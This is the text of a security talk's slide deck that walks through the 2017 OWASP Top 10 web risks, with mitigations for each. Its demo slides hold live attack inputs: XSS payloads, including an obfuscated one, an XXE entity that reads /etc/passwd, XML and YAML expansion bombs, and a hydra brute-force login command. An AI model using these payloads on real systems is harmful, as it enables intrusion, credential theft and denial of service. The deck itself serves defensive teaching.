The document outlines the OWASP Top 10 list from 2017, which identifies critical security risks in web applications. Each entry is explained, including injection, broken authentication, sensitive data exposure, and more, highlighting exploitability and detection issues. The emphasis is on practical measures developers can implement to mitigate these vulnerabilities.

1. OWASP TOP
10
Setting the bar for security

2. 2
Hi
Robert MacLean
@rmaclean | sadev.co.za
DevConf | DevUG | Equal
Experts
Cape Town | South Africa

3. 3
Mandatoryhackerphoto

4. Content
warning
Do not try this at home. Hacking
is illegal without permission.
One demo contains F***
4

5. What is OWASP?
Non-profit foundation for the improvement of security
of software
Join as a member to support them and get
conference discounts
Local meetups available
Cape Town: meetup.com/en-AU/OWASP-Cape-Town-
Chapter-Meetup
Produce tools: Zap, Dependency Scanner
Guidance
5

6. OWASPTOP 10
Using the 2017 guidance as 2020 guidance is still
underway
As it evolves, items are added, merged and removed
This is the bar for security
Focused on web security but a lot is broadly
applicable
10 areas which can be implemented and exploited in
a variety of ways
Based on real world feedback from OWASP members
See: owasp.org/www-project-top-ten
Each scored on 4 axis (scale is 1 to 3):
Attack Vector: Exploitability
Security Weakness: Prevalence
Security Weakness: Detectability
Impact: Technical
6

7. OWASPTOP 10
1. Injection
2. Broken Authentication
3. Sensitive Data Exposure
4. XML External Entities (XXE)
5. Broken Access Control
6. Security Misconfiguration
7. Cross-Site Scripting (XSS)
8. Insecure Deserialization
9. Using Components with Known Vulnerabilities
10.Insufficient Logging & Monitoring
7

8. Ten: Insufficient Logging & Monitoring
Not logging and auditing logins, fails, high-value transactions
Not enough information
Locally stored
Logs disabled or configured to ignore pen tests
Not alerting on logs & metrics
8
Exploitability: 2
Prevalence: 3
Detectability: 1
Technical: 2

9. Nine: Using Components with KnownVulnerabilities
3rd party code runs in same permissions as the system
OS, database etc… all need to be checked too
Scan on a continuous basis
• Library tools like dependency check and npm audit
• Container scanning
• OS patching
Only obtain code from official sources
9
Exploitability: 2
Prevalence: 3
Detectability: 2
Technical: 2

10. Eight: Insecure Deserialization
A specially crafted data structure causes the execution of code
Focused on any time you use serialisation
10
Exploitability: 1
Prevalence: 2
Detectability: 2
Technical: 3

11. Demo
11

12. Eight: Insecure Deserialization
User input should not be trusted
Don’t accept serialised data
• If you must, encrypt and/or sign the payloads
Use safe deserialization options
12

13. Seven: Cross-Site Scripting (XSS)
Reflected XSS: Not validating input & returning it back to the user
Stored XSS: Not validating input, putting it in the DB and then raising it later
DOM XSS: APIs sending attackable content to the UI
Can lead to account take overs, spam, multi-factor bypasses, key logging
13
Exploitability: 3
Prevalence: 3
Detectability: 3
Technical: 2

14. Demo
14

15. Demos
<script>alert(`xss`)</script>
<iframe src="javascript:alert(`xss`)">
<<a|ascript>alert(`xss`)</script>
<SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT>
/*iframe/src*/<iframe/src="<iframe/src=@"/onload=prompt(1) /*iframe/src*/>
&lt;SCRIPT&gt;alert("XSS");&lt;/SCRIPT&gt;
15
_=`${`${{}}`[!![]<<!![]<<!![]|!![]]}${`${{}}`[!!{}<<![]]}${`${[][~[]]}`[!!{}<<![]]}${`${!![][~[]]}`[(!![]<
<!![])|!![]]}${`${![][~[]]}`[!{}<<![]]}${`${![][~[]]}`[!!{}<<![]]}${`${![][~[]]}`[!!{}<<!![]]}${`${{}}`[!!
[]<<!![]<<!![]|!![]]}${`${![][~[]]}`[!{}<<![]]}${`${{}}`[!!{}<<![]]}${`${![][~[]]}`[!!{}<<![]]}`,__=`${`${
{}}`[!!{}<<![]]}${`${{}}`[!!{}<<!![]]}${`${!![][~[]]}`[[]<<[]]}${`${![][~[]]}`[!!{}<<!![]]}${`${!![][~[]]}
`[(!![]<<!![])|!![]]}${`${{}}`[!![]<<!![]<<!![]|!![]]}${`${!![][~[]]}`[!!{}<<![]]}${`${![][~[]]}`[!{}<<![]
]}${`${[][~[]]}`[!![]<<!![]<<!![]|!![]]}${`${{}}`[!!{}<<![]]}${`${[][~[]]}`[!!{}<<![]]}!`,[][_][_](`${`${{
}}`[!![]<<!![]<<!![]|!![]]}${`${{}}`[!!{}<<![]]}${`${[][~[]]}`[!!{}<<![]]}${`${!![][~[]]}`[(!![]<<!![])|!!
[]]}${`${{}}`[!!{}<<![]]}${`${!![][~[]]}`[!!{}<<!![]]}${`${![][~[]]}`[(!![]<<!![])|!![]]}${`${{}}`[[]<<[]]
}'${`${!![][~[]]}`[!!{}<<!![]]}${`${{}}`[!!{}<<![]]}${`${``[_]}`[!![]<<!![]<<!![]<<!![]^!![]<<!![]<<!![]|!
!{}<<!![]]}'${`${{}}`[!![]<<!![]<<!![]<<!![]^!![]<<!![]<<!![]|!!{}<<!![]]}(__)`)()

16. Seven: Cross-Site Scripting (XSS)
User input should not be trusted
HTML escape any dynamic content (tags, attribute, css etc..)
Use a safer format for input, say markdown
Make use of HTTPOnly cookies
Make use of CORS
Make use of CSP
Make use of audit tools
16

17. Six: Security Misconfiguration
Unused ports and services running on machines
Default credentials
Error handling returning too much info
Using code with known issues
17
Exploitability: 3
Prevalence: 3
Detectability: 3
Technical: 2

18. Demo
18

19. Six: Security Misconfiguration
User input should not be trusted
Get security audits done
Go on security training
Automate checking of settings and code
Remove (or block) anything not needed
19

20. Five: Broken Access Control
Authentication vs. Authorization
Bypassing access by edit URL or anything on the client side
IDORs
20
Exploitability: 2
Prevalence: 2
Detectability: 2
Technical: 3

21. Demo
21

22. Five: Broken Access Control
User input should not be trusted
Deny by default
Rate limits
Disable web server directory listing
22

23. Four: XML External Entities (XXE)
Untrusted XML is provided
• SAML auth
The XML parser has lots of features and those features are exploited
23
Exploitability: 2
Prevalence: 2
Detectability: 3
Technical: 3

24. Demos
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<foo>&xxe;</foo>
24
<?xml version="1.0"?> <!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ELEMENT lolz
(#PCDATA)> <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"> ]>
<lolz>&lol9;</lolz>

25. Demos
25
a: &a ["lol","lol","lol","lol","lol","lol","lol","lol","lol"]
b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a]
c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b]
d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c]
e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d]
f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e]
g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f]
h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]
i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]
100
1000
10 000
100 000
1 000 000
10 000 000
100 000 000
1 BILLION

26. Four: XML External Entities (XXE)
User input should not be trusted
Run static code analysis tools
Run dependency analysis tools
• NPM & Yarn Audit
• Dependency Check for JVM
Disable SOAP prior to 1.2
Disable features you do not need
• XML external entities & DTD in XML
26

27. Three: Sensitive Data Exposure
Man-in-the-middle attacks
Stealing records off the server or servers it was sent through
Weak crypto
No hashing on the passwords
Sharing data which should be private
27
Exploitability: 2
Prevalence: 3
Detectability: 2
Technical: 3

28. Demo
28

29. Three: Sensitive Data Exposure
Classify data processed, stored and transmitted.
Identify risk for business, law (GDPR)
Only store information you must
Encrypt sensitive data at rest
Encrypt all data in transit
Disable caching of sensitive data
HSTS Preload
29

30. Two: Broken Auth
Default admin accounts
Credential Stuffing, brute force and dictionary attacks
Unexpired session tokens
Weak or ineffective forgot password and recovery processes
Plaintext passwords, not hashed passwords
Not invalidating session IDs
30
Exploitability: 3
Prevalence: 2
Detectability: 2
Technical: 3

31. Demo
31

32. Demos
$ hydra -l admin@juice-sh.op
-P /usr/share/wordlists/rockyou.txt 127.0.0.1
http-post-form '/#/login:email=^USER^&password=^PASS^:Invalid email or password.’
-fV -s 3000 -t 1
32

33. Two: Broken Auth
Do not build auth unless needed – make use of the existing team
Credential Stuffing, brute force and dictionary attacks
• haveibeenpwned.com/Passwords
• Rate limits
Unexpired session tokens
Weak or ineffective forgot password and recovery processes
• Avoid knowledge questions
• Do users need passwords
• Two factor auth
Plaintext passwords
• Just don’t
Hash & salt passwords
• Pick hashing algorithms which are slow and don’t have collisions
33

34. One: Injection
Attacker sends data to the interpreter to get it to return the incorrect answer, change settings they shouldn’t be
able to or increase privileges
SQL Injection is a vector, but this could be any database, environmental variables, JSON, SOAP, XML, headers,
cookies, etc…
34
Exploitability: 3
Prevalence: 2
Detectability: 3
Technical: 3

35. Demo
35

36. One: Injection
User input should not be trusted
Use SQL parameters for SQL
Avoid building strings in code based on user input
Use approval lists to check content
“I use an ORM, so I am safe” – By default, most likely but you should check
Use tools like ZAP to look for these
36

37. Done?
No, this is the minimum bar
Join your local OWASP group
Run your checks all the time
Get a red team
Practice incidents
Secure by default is a great first principal
37

38. Thank You
Robert MacLean
robert@sadev.co.za